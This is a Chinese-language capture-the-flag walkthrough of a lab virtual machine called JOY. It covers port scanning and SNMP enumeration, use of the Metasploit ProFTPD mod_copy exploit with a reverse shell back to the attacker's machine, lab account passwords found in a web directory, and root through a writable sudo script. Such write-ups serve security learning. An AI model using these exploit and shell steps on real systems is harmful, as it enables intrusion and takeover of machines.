# 靶场搭建

下载后导入虚拟机,直接启动

IP: 192.168.1.135

# 渗透过程

# 信息初收集

21/tcp  open  ftp
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
139/tcp open  netbios-ssn
143/tcp open  imap
445/tcp open  microsoft-ds
465/tcp open  smtps
587/tcp open  submission
993/tcp open  imaps
995/tcp open  pop3s
21/tcp  open  ftp         ProFTPD 1.2.10
22/tcp  open  ssh         Dropbear sshd 0.34 (protocol 2.0)
25/tcp  open  smtp        Postfix smtpd
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
110/tcp open  pop3        Dovecot pop3d
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
465/tcp open  smtp        Postfix smtpd
587/tcp open  smtp        Postfix smtpd
993/tcp open  ssl/imap    Dovecot imapd
995/tcp open  ssl/pop3    Dovecot pop3d
drwxr-x---   5 ftp      ftp          4096 May  4 06:28 .
drwxr-x---   5 ftp      ftp          4096 May  4 06:28 ..
drwxr-xr-x   3 ftp      ftp          4096 May  4 06:28 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
drwxrwxr-x   2 ftp      ftp          4096 Jan  6  2019 download
drwxrwxr-x   2 ftp      ftp          4096 Jan 10  2019 upload
S-1-22-1-1000 Unix User\patrick (Local User)                                                                             
S-1-22-1-1001 Unix User\ftp (Local User)

没有发现什么有用的东西,各服务漏洞攻击也不符合版本。

看到有一个 directory 文件像是 patrick 用户的 home,但是里面的文件也读不到啊 ==、

# UDP 扫描 + SNMP

思路卡住了,尝试查看 UDP 的服务,全端口扫描可以说是不可能的了,只好按照常用端口扫一下: nmap 192.168.1.135 -sU -p- -T4 --top-ports 50

发现开启了 161 端口的 snmp。尝试使用 snmp-check 收集相关信息: snmp-check 192.168.1.135

snmap 的作用:
监控设备状态:通过查询代理,管理器可以获取设备的各种状态信息,如 CPU 利用率、内存使用情况、网络流量等,从而进行实时监控和分析。
配置管理:管理器可以通过 SNMP 设置请求来修改设备的配置,例如改变路由表、启用 / 禁用端口等。
告警和通知:代理可以定期向管理器发送设备状态的通知或告警,帮助管理员及时发现并解决网络问题。
远程诊断:管理器可以远程执行诊断命令或操作,以解决网络设备的故障或配置问题。

发现了在 patrick 用户的家目录下,启动了 tftp 的服务。

┌──(root㉿kali)-[~]
└─# snmp-check 192.168.1.135 | grep "ftp"
  777                   runnable              in.tftpd              /usr/sbin/in.tftpd    --listen --user tftp --address 0.0.0.0:36969 --secure /home/patrick

那么我们把那个 version_control 下载下来康康

┌──(root㉿kali)-[~]
└─# tftp 192.168.1.135 36969
tftp> get version_control
tftp> quit

找到了 FTP 的版本信息和可写的的路径

┌──(root㉿kali)-[~]
└─# cat version_control                 
Version Control of External-Facing Services:
Apache: 2.4.25
Dropbear SSH: 0.34
ProFTPd: 1.3.5
Samba: 4.5.12
We should switch to OpenSSH and upgrade ProFTPd.
Note that we have some other configurations in this machine.
1. The webroot is no longer /var/www/html. We have changed it to /var/www/tryingharderisjoy.
2. I am trying to perform some simple bash scripting tutorials. Let me see how it turns out.

MSF 启动!

# 漏洞利用

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options 
Module options (exploit/unix/ftp/proftpd_modcopy_exec):
   Name       Current Setting             Required  Description
   ----       ---------------             --------  -----------
   Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.1.135               yes       The target host(s), see https://docs.metasploit.com/docs/using-meta
                                                    sploit/basics/using-metasploit.html
   RPORT      80                          yes       HTTP port (TCP)
   RPORT_FTP  21                          yes       FTP port
   SITEPATH   /var/www/tryingharderisjoy  yes       Absolute writable website path
   SSL        false                       no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                           yes       Base path to the website
   TMPPATH    /tmp                        yes       Absolute writable path
   VHOST                                  no        HTTP server virtual host
Payload options (cmd/unix/reverse_awk):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.129    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   ProFTPD 1.3.5
View the full module info with the info, or info -d command.

run 起来拿到反弹 shell

# 提权

系统信息:

Distributor ID: Debian
Description:    Debian GNU/Linux 9.6 (stretch)
Release:        9.6
Codename:       stretch

搜了一下提权模块无果

查看目录中心信息,在 /var/www/tryingharderisjoy/ossec/patricksecretsofjoy 文件中找到了 patrick 用户的密码: patrick:apollo098765 和 root 的: root:howtheheckdoiknowwhattherootpasswordis

root 的密码是错的,ssh 需要配置一下加密算法懒得配置,所以通过这个小 shellsu 到 patrick 账号。但是之前设置的 payloadp 是通过 awk 反弹 shell,提升交互有问题,所以重新设置了 payload 为 python 的方式反弹。提升交互式 shell 然后 su 到 patrick 账号中。

sudo -l 查看到 sudo 权限

User patrick may run the following commands on JOY:
    (ALL) NOPASSWD: /home/patrick/script/test

执行以下这个脚本发现,这个脚本可以修改 script 文件夹下任意文件的权限

在他询问修改那个文件的时候直接回车,它会修改目录的权限,直接改成 777

然后再修改这个 test 文件。

echo '#!/bin/bash' > ~/script/test
echo 'bash -ip' >> ~/script/test
sudo /home/patrick/script/test

root 权限到手!